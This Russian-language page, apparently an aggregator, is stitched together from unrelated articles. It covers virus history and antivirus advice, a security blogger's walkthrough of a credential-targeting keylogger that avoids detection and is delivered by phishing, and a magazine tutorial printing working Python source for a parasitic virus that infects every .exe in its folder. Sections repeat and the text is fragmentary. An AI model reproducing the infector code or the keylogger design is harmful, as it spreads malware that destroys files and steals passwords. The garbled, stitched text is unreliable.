Как сделать компьютерный червь

Обновлено: 01.07.2024

Современную жизнь невозможно представить без компьютеров — на работе и дома, в офисах и банках, в магазинах и на почте — везде мы видим мониторы, системные блоки, принтеры. Эпоха ПК подарила человечеству не только массу удобств и развлечений, но и одну большую опасность — компьютерные вирусы. Какие они бывают и как распространяются? Какой вред наносят компьютерам и мировой экономике? Как защитить свои бесценные файлы и секретные документы? Об этом и многом другом мы и поговорим.

Время дискет и CD-дисков, на которых распространялись вирусы, осталось в прошлом тысячелетии. В XXI веке основную угрозу по заражению компьютера представляет Интернет, а 90% современных вирусов — это так называемые сетевые черви, «шпионы». Каждые полчаса создается один новый вирус — он может удалить файл, заполнить мусором все свободное место, загрузить память по-максимуму, а может уничтожить всю информацию на жестком диске или раскрыть ваши личные и деловые тайны врагам и конкурентам. Очень важно быть защищенным и не бояться никаких вирусов. А, как гласит старая пословица, вооружен (в нашем случае информацией) — значит защищен. Вот и будем вооружаться!
Что ж за зверь ты такой страшный, компьютерный вирус?

Из истории вирусов

Основы теории самовоспроизводящихся механизмов заложил американец Джон фон Нейман (1903-1957), внесший немалый вклад в создание первых ЭВМ и разработку методов их применения. По его лекциям в 1966 году вышла в свет книга «Теория самовоспроизводящихся автоматов» (через пять лет ее переведут и издадут на русском языке) — в ней рассматриваются основы программ, которые вскоре назовут компьютерными вирусами. В статье Л.С. Пенроуз (1957 год) приводится пример двумерной модели самовоспроизводящихся механических структур, способных к активации, мутации, размножению и захвату.
Прототип компьютерного вируса родился ради забавы. В 1961 году инженеры компании Bell Telephone Labs от нечего делать создали игру Darwin, в которой несколько внутренних программ, названных «организмами», загружались в память компьютера и «сражались» за ресурсы.

И сразу же писатели-фантасты берут новую тему на вооружение и раскручивают ее. В 1970 году Г. Бенфорд в своем рассказе создает антивирусную программу Vaccine, а через два года выходит книга Д. Герролда, в которой описаны червеподобные программы. В романе У. Гибсона «Нейромант» (1984 год) компьютерные вирусы используются в качестве опаснейшего оружия. Писатели-фантасты не предсказали Интернет, но вот о проблемах с вирусами они заподозрили сразу. А также ввели в мировой обиход термины: собственно, «компьютерный вирус»— для обозначения вредоносной программы, внедрившейся в компьютерную систему, и «вирус-червь» (1975)— для программ, самостоятельно перемещающихся по сети.

Первым настоящим компьютерным вирусом, причинившим неудобства и распространившимся за пределами лабораторий (до этого времени вирусы носили познавательный и демонстрационный характер), считается программа, созданная в 1981 году Джо Деллинджером и незамысловато названная— Virus. И вот с тех пор, пока еще в среде DOS, вирусы рождались один за другим— все более неожиданные и зловредные. Начинающие программисты, в большинстве своем подростки, считали обязательным для себя написать новый вирус и пройти таким образом посвящение в хакеры.

В 1988 году был создан первый сетевой червь, эксплуатирующий переполнение буфера. В 1989 году широкое распространение получил вирус DataCrime: до 12 октября он незаметно размножался, а после начал разрушать файловую систему. От него пострадало около 10% компьютеров Нидерланд, США и Японии. В это же время был создан первый «троянский конь» под названием AIDS (СПИД). Вирус закрывал доступ к жесткому диску, высвечивая на экране надпись: «Пришлите чек на $200 на адрес такой-то». Автор был арестован и осужден за вымогательство. Вирусы принимали все более глобальный характер, эпидемии возникали все чаще и чаще, заражая сотни тысяч компьютеров, и многие компании всерьез задумались о программных средствах безопасности.

Многие современные сложные программные комплексы нуждаются в надежной антивирусной защите. От надежности работы таких программ зависит качество предоставления правовых услуг многим серьезным организациям. Качественная и своевременная правовая поддержка для бизнеса - это гарантия надежной работы.

В 1995 году появилась операционная система Windows 95, а вскоре другой продукт компании Microsoft— всем хорошо известный MS Office. Вот они-то, подобно навозной куче, и стали самой благотворной средой для размножения, распространения и развития вирусов. Но создателям вирусов— вирусмейкерам— приходилось еще туго, ведь основным разносчиком их «детищ» была дискета, которая никак не способствовала скоростному заражению множества компьютеров. Но эра Интернета уже наступала! Благодаря MS Word и Excel вышел на мировую арену макровирус. Первоначально он носил безобидный характер (замена букв, удаление знаков препинания, перестановка цифр и тому подобные мелкие пакости), поэтому пользователи спокойно относились к нему и не били тревогу, но когда макровирусы стали форматировать винчестер (удаляя при этом всю информацию)— тут уж затрезвонили во все колокола. Макровирусы основательно заставили пользователей обратить свое внимание на средства защиты (в частности Office Guard).

В июне 1998 года мир захватывает эпидемия вируса Win95.CIH (он же «Чернобыль»), ставшая самой разрушительной за все предыдущие годы. Вирус не только уничтожал всю информацию на дисках, но и перезаписывал Flash BIOS, что приводило к вынужденной замене микросхемы памяти, а нередко даже материнской платы и всего системного блока, ведь комплектующие «цепляются» именно на «материнку». Это был поистине супервирус, принадлежавший «перу» (а точнее— клавиатуре) талантливой творческой личности, эдакому доктору Мориарти. «Чернобыль» (названный так из-за того, что срабатывал 26 апреля) не менял своего размера, вследствие чего трудно находился и почти не поддавался лечению, а после перезаписи данных на микросхемах он стирал всю память на жестком диске— делал, так сказать, контрольный выстрел.

Автора «Чернобыля» вычислили в апреле 1999 года. Им оказался студент Тайваньского технологического института Чень Инхао (CIH— его инициалы), но так как ни одна местная компания не подала иск и даже жалобу в связи с вирусом, полиция не смогла арестовать хакера.

Миллиардные убытки

Последний год XX века превзошел вообще все мыслимые опасения: вирус-червь «LoveLetter» и его модификации нанесли самый большой в истории вред пользователям ПК и корпорациям— более 20 млрд долларов. За первый месяц LoveLetter атаковал 40 млн компьютеров. Вы от знакомого получаете письмо с темой «I Love You» и, независимо от пола, хотите прочитать вложенный файл. К тому же создавалось обманчивое впечатление, что расширение документа— .txt, а оно абсолютно безопасно и не может содержать вирус. Вы открываете документ— в предвкушении, смущении, непонимании или сгорая от любопытства, и. Еще раз: ущерб на сумму (медленно, по буквам) более двадцати миллиардов долларов.

Действовал вирус «Любовное письмо» просто, как и все гениальное. Попадая на компьютер, он рассылал себя всем, кто числился в адресной книге самой распространенной почтовой программы Outlook (входящей в пакет MS Office). Вложенный в письмо файл назывался, например, так: «ForYou.TXT.vbs», либо же «I Love You.TXT .vbs»— с множеством пробелов перед истинным расширением — vbs. Вирус, написанный на языке Visual Basic Script, маскировался самым элементарным и надежным способом. Пользователь думал, что открывает обычный текстовой файл. Как видно, автор этого вируса сделал главный упор на человеческой психологии, а вовсе не на компьютерных технологиях и программировании. Кстати, и автора LoveLetter тоже не посадили! В августе 2000 года 24-летний филиппинец Онель де Гусман был оправдан, так как в законодательстве Филиппин на тот момент не имелось соответствующего закона (в нашей стране «антихакерский» закон существует с января 1997 года и предусматривает лишение свободы до трех лет, а при тяжких последствиях — до семи).

Последнее получило особо широкое признание. Вирус «Анна Курникова», например, предлагал соблазнительную фотографию теннисистки и содержал файл с названием AnnaKournikova.jpg.vbs (jpeg — расширение, обозначающее, что данный файл содержит изображение). Автор заявил: «Не знаю, почему эти невежественные люди продолжают открывать такие письма. В конце концов, если их компьютер оказался заражен вирусом AnnaKournikova— вина полностью на них самих». И ведь голландский хакер отчасти прав, хотя 29 октября 2002 года на очередном судебном разбирательстве он проиграл.

2004 год отметился несколькими важными событиями— рождением первого червя для мобильных телефонов и появлением вируса, который «жил» непосредственно на веб-сайтах, заражая компьютеры уже без помощи электронной почты. С этих пор частые слова: «Я не пользуюсь Outlook’ом, поэтому не боюсь вирусов» произносились все реже и реже. В этом же году червь под названием MyDoom за неделю опустошил мировую казну на 23 млрд долларов. С одной стороны, конечно, нанес миллиардные убытки, но с другой — обогатил производителей компьютерной техники и комплектующих, а также создателей программного обеспечения и антивирусных пакетов.

Совсем недавно вирусмейкеры хвастались друг перед другом, чей вирус заразил больше компьютеров, это было искусством, творчеством, наукой, а сейчас создание вирусов превратилось в криминальную сферу Интернет-мошенничеств. Сейчас создатели вирусов сравнивают, кто больше заработал денег благодаря своим «детищам», попросту говоря — кто больше украл.

Ущерб мировой экономике от вирусов составляет: за период с 1996 по 1999 гг. — около 24 млрд долларов, за период с 2000 по 2002 гг. — порядка 50 млрд долларов, за один 2003 год — уже более 55 млрд долларов. За десять — с 1996 по 2006 год — вирусы превратили в пыль более одной четверти триллиона долларов, а это, между прочим, превосходит бюджет России за 2006 год. Неудивительно, что некоторые страховые компании компенсируют ущерб, нанесенный компьютерными вирусами — наравне с землетрясением, пожаром, автокатастрофой, ограблением, а в Microsoft создан многомиллионный фонд по вычислению личностей хакеров.

А ведь вирус — это всего лишь.

Физиология вируса

Формальное определение компьютерного вируса — это самораспространяющийся в информационной среде программный код, разновидность самовоспроизводящихся компьютерных программ. Он может внедряться куда угодно, размножаться где угодно и распространяться через что угодно. Да, да, именно как вирус обычный, биологический (от лат. virus — яд).

А ведь вирус, по сути, это всего лишь набор каких-то символов.

На сегодняшний день известны десятки тысяч различных вирусов.

В самой обширной антивирусной базе данных на апрель 2007 года содержатся сведения об около 250 тысяч записей вирусов. Несмотря на такое изобилие, число типов вирусов, отличающихся друг от друга механизмом распространения и принципом действия, весьма ограниченно. Есть комбинированные вирусы, которые можно отнести одновременно к нескольким типам — они-то особенно опасны. Вообще, сейчас под вирусами понимаются все вредоносные компьютерные программы, среди которых выделяют несколько типов: файловые, загрузочные, вирусы-спутники, пакетные, скриптовые, макровирусы, полиморфные, стелс-вирусы, а также «трояны», сетевые и файловые черви, логические бомбы, вирусы-шпионы. Но единой четкой классификации не существует.

Сетевые черви распространяются по глобальным и локальным сетям. Их главной целью является заражение максимально возможного количества персональных и карманных компьютеров, мобильных телефонов. С помощью червя можно заполучить чужой пароль для доступа к какой-нибудь базе данных. Причем, пароль тут же изменится, и вы уже не сможете воспользоваться этой базой данных. Сетевые черви в наше время довольно успешно мутируют, сочетая в себе элементы скриптовых и полиморфных вирусов, троянских коней.

По основному назначению трояны совершенно безобидны. На вид это безвредный «конь», а вот внутри. Вирусы-трояны используют для первоначального распространения вирусов, но чаще всего — для получения несанкционированного удаленного доступа к чужому компьютеру через Интернет, что ведет к краже информации и передачи ее третьим лицам. Также трояны могут уничтожать и изменять информацию, всячески вредить работоспособности, использовать ресурсы вашего компьютера в противозаконных целях.

Логической бомбой называют программу, которая выполняет вредоносные действия при определенных условиях — например, при достижении определенной даты. Вирус-спутник создает клон, который становится главнее оригинала; полиморфные вирусы умеют изменять свой первоначальный двоичный код; стелс-вирусы способны отменно скрывать свое присутствие в компьютере и подставлять «здоровые» файлы; программы-серверы превращают ваш компьютер в «зомби», которым пользуются спамеры для рассылки своего мусора, хакеры — для атак на сеть.

Важен и тот факт, что многие выпускаемые программы исполнены не на высоком уровне, в том числе продукты компьютерного гиганта Microsoft. В будущем, скорее всего, эволюция вирусов остановится на «дырах» в программном обеспечении и Интернет-технологиях. Использование недоработок в сетевых сервисах позволяет вирусам заражать операционную систему и распространяться с огромной скоростью без вмешательства человека. С другой стороны, судя по тенденциям 2006 года, происходит регресс вирусных методик. Неудивительно, ведь разработка оригинальных вирусов требует усилий и материальных вложений, тяжелого труда и фантазии, ума, знаний и времени. Над последней версией Windows Vista работали тысячи людей, и нужно будет постараться, чтобы найти в ней «дыры». Но, без сомнения, сюрпризы в этой области еще ожидаются. И, подозреваю, будут они весьма неприятными.

По мнению ряда экспертов, вирусы — это еще и оружие в информационной войне (не только государств, но и корпораций, фирм за рынок сбыта своей продукции), а современные хакерские атаки и вирусы создаются целыми группами не только хакеров, но и серьезными учеными. Прежде чем пустить танки, самолеты, десант в чужую страну, сначала необходимо разрушить экономику противника. Так же действуют и конкурирующие коммерческие фирмы. Учитывая те затраты, которые тратятся на борьбу с вирусами, можно сказать, что эта война уже идет, причем во всех отношениях.

Чтобы исключить угрозу вирусной атаки, обезопасить свой компьютер, ноутбук и компьютеры сети, нужно разбираться в средствах антивирусной защиты. Сразу же огорчу читателей: не существует такой программы, которая обезопасила бы вас на все 100%, в лучшем случае это будет 99,9%.

Антивирусы

Первые антивирусные утилиты появились в 1984 году. Энди Хопкинс написал несколько программ, которые анализировали текст загрузочного модуля и выявляли все подозрительные участки кода. Благодаря своей простоте (фактически использовался только контекстный поиск) и эффективности они сразу же стали популярными. В следующем году Ги Вонг создал Dprotect — резидентную программу, перехватывающую попытки записи на дискеты и винчестер. Она блокировала все операции (запись, форматирование), выполняемые через BIOS.

Современная антивирусная программа способна не только обнаруживать вирусы, но также лечить зараженные файлы. Если же лечение невозможно, то, в таком случае, файлы удаляются либо помещаются на карантин. Основные методы обнаружения вирусов — сканирование файлов на предмет сравнения с данными антивирусных баз и определение подозрительного поведения программ, которое может быть действием вируса. Эвристический анализ позволяет обнаруживать неизвестные ранее вирусы, но менее эффективен, чем сканирование.

Конкуренция между антивирусными компаниями привела как к положительным, так и к отрицательным явлениям. Из плюса это сравнительно одинаковая небольшая цена на антивирусные пакеты и сравнительно одинаковая эффективность, а из минусов — развитие компьютерной защиты от вирусов идет не в сторону улучшения их детектирования и алгоритмов лечения, а в сторону увеличения числа обнаруживаемых вирусов (что очень выгодно антивирусным компаниям). Если вы по каким-либо причинам не успели обновить свежую базу данных, то ваша защита сводится к минимуму. А если не обновлять неделю и более, то можно вообще забыть, что у вас есть антивирус.

Для того, чтобы выбрать наиболее подходящую защиту, нужно учитывать системные возможности компьютера, операционную систему, вашу компьютерную грамотность, особенности антивирусных программ. Конкуренция и обширный рынок заставляет производителей совершенствоваться и идти нога в ногу. Практически одинаковые возможности и цена позволяют выбрать антивирус, что называется, по вкусу и цвету. При этом надо помнить, что чем сильнее она тормозит и дольше работает, тем больше она дает защиты, и наоборот. Тут, как и везде — либо удобство, либо эффективность. Если антивирус экономит системные ресурсы, то за счет повышенной скорости работы и незаметности снижается его эффективность при обнаружении некоторых вирусов — но именно такой антивирус лучше подойдет для компьютеров двух-трехлетней давности. И еще важно не лениться и постоянно обновлять базы из официальных источников.

Современные антивирусы умеют: сканировать память и диск по расписанию, автоматически обновлять базу данных, выборочно проверять любое пространство жесткого диска, проводить фильтрацию трафика Интернета, защищать почтовые и файловые серверы, удалять выявленные вирусы, восстанавливать зараженную информацию, блокировать хакерские атаки, вести отчетность.

Еще двумя важными компонентами защиты являются Firewall и антишпионские программы (antispyware). Firewall, он же межсетевой экран, он же брандмаузер, блокирует входящие и исходящие соединения, кроме разрешенных пользователем, предотвращая вирусные атаки. Предназначен для защиты компьютерных сетей от несанкционированного доступа. Также сетевые экраны часто называют фильтрами, ведь их основная задача — не пропускать (фильтровать) пакеты, не подходящие под определенные в конфигурации параметры. За последние годы особо широкое распространение получил так называемый Spyware (дословный перевод: «изделие шпиона»). Если ваш компьютер начал странно себя вести, большая вероятность проникновения «шпиона». Может поменяться стартовая страница и гигантски увеличиться исходящий трафик, на рабочем столе появятся новые «иконки», которые приведут вас на зараженные сайты. Самый точный признак Spyware — постоянно выскакивающие окна с рекламой. К сожалению, не придумали еще идеальную антишпионскую программу, которая обезопасила бы ваш компьютер на 100%, но комплексный совместный подход значительно повысит защищенность компьютера.


Вирусы, конечно, «звери» страшные и опасные, но благодаря современному программному обеспечению их можно не бояться. Бывает, и за десять лет без всякой защиты ты не «заразишься» компьютерным вирусом, а, бывает, что схватишь его за первые минуты пребывания в сети Интернет. Новичкам везет особенно. Но лучше не беспокоиться, а легко и приятно наслаждаться всеми благами, которые дает нам компьютер и Интернет.

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

Вирусы-компаньоны более гуманны к исполняемым файлам, которые они «заражают». Слово «заражают» я специально взял в кавычки, так как на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный экзешник переименовывают (а могут и зашифровать — прим. ред.) во что-нибудь другое. Таким образом, они подменяют пользовательский софт своими копиями, а для большей маскировки запускают оригинальную программу из файла с новым именем. И пользователь доволен, и вирус остался жив. HLLP являются самыми продвинутыми из ЯВУ-вирусов. Они внедряются непосредственно в файл-жертву, сохраняя при этом работоспособность оригинального кода. Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у «взрослых» вирусов на ассемблере, добиться очень сложно. Поэтому паразиты получаются не слишком элегантными созданиями, но, к сожалению, это практически потолок того, что можно выжать из ЯВУ.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Существует много вариаций на тему HLLP-зловредов, но мы реализуем самую простую из них. Вирус будет писать в начало файлажертвы свое собственное тело — целиком, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Отправка письма

Отправка письма с вложением

Несколько замечаний

Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Троянский конь - это программа, которая предоставляет посторонним доступ к компьютеру для совершения каких-либо действий на месте назначения без предупреждения самого владельца компьютера, либо высылает по определенному адресу собранную информацию. Очень часто трояны попадают на компьютер вместе с полезными программами или популярными утилитами, маскируясь под них.

Возможны различные пути проникновения трояна в вашу систему. Чаще всего это происходит при запуске какой-либо полезной программы, в которую внедрен сервер трояна. В момент первого запуска сервер копирует себя в какую-нибудь директорию, прописывает себя на запуск в системном реестре, и даже если программа-носитель никогда больше не запустится, система уже заражена трояном. Заразить машину можно, запустив зараженную программу. Обычно это происходит, если программы скачиваются не с официальных серверов, а с личных страничек. Внедрить трояна могут также посторонние люди при наличии доступа машине, просто запустив его с дискеты.

Вирус - это программа, которая может проникнуть в компьютер различными путями и вызвать эффекты, начиная от просто раздражающих до очень разрушительных. Вирусы могут проникать в компьютеры через электронную почту, Интернет, различные виды дисков и т.д.

Также как биологические вирусы проникают в тело и инфицируют клетки, компьютерные вирусы попадают в компьютеры и заражают файлы. Оба типа вирусов могут репродуцировать себя и распространяться путем передачи инфекции от одной зараженной системы к другой. Как и биологический вирус является микроорганизмом, так и компьютерный вирус является микропрограммой.

Червь - это программа, очень похожая на вирус. Он способен к самовоспроизведению и может привести к негативным последствиям для Вашей системы. Однако для размножения червям не требуется заражать другие файлы.

Это тип вредоносных или как их еще называют – злоумышленных программ. Такие виртуальные черви появились уже давно, наряду с вирусами и шпионскими программами. Компьютерный червь похож на вирус, потому что он попадает в компьютер, прикрепленный к файлу. Но в отличие от вируса, червь имеет свойство воспроизводить себя в вашем компьютере, не требуя каких-либо действий пользователей. Еще одной особенностью компьютерного червя является то, что он распространяется не только по всей области вашего компьютера, но и автоматически рассылает свои копии по электронной почте.

Так же следует понимать, что чем больше червь находится в системе компьютера, тем больше вреда и разрушения он приносит. Черви, в отличие от вирусов, просто копируют себя, повреждая файлы, но репродуцирование может происходить очень быстро, сеть перенасыщается, что приводит к разрушению последней. Некоторые из наиболее печально известных червей включают (обычно посылаются через Интернет)

Для добавления вопроса на сайт, блог или форум просто скопируйте и вставьте в html код:

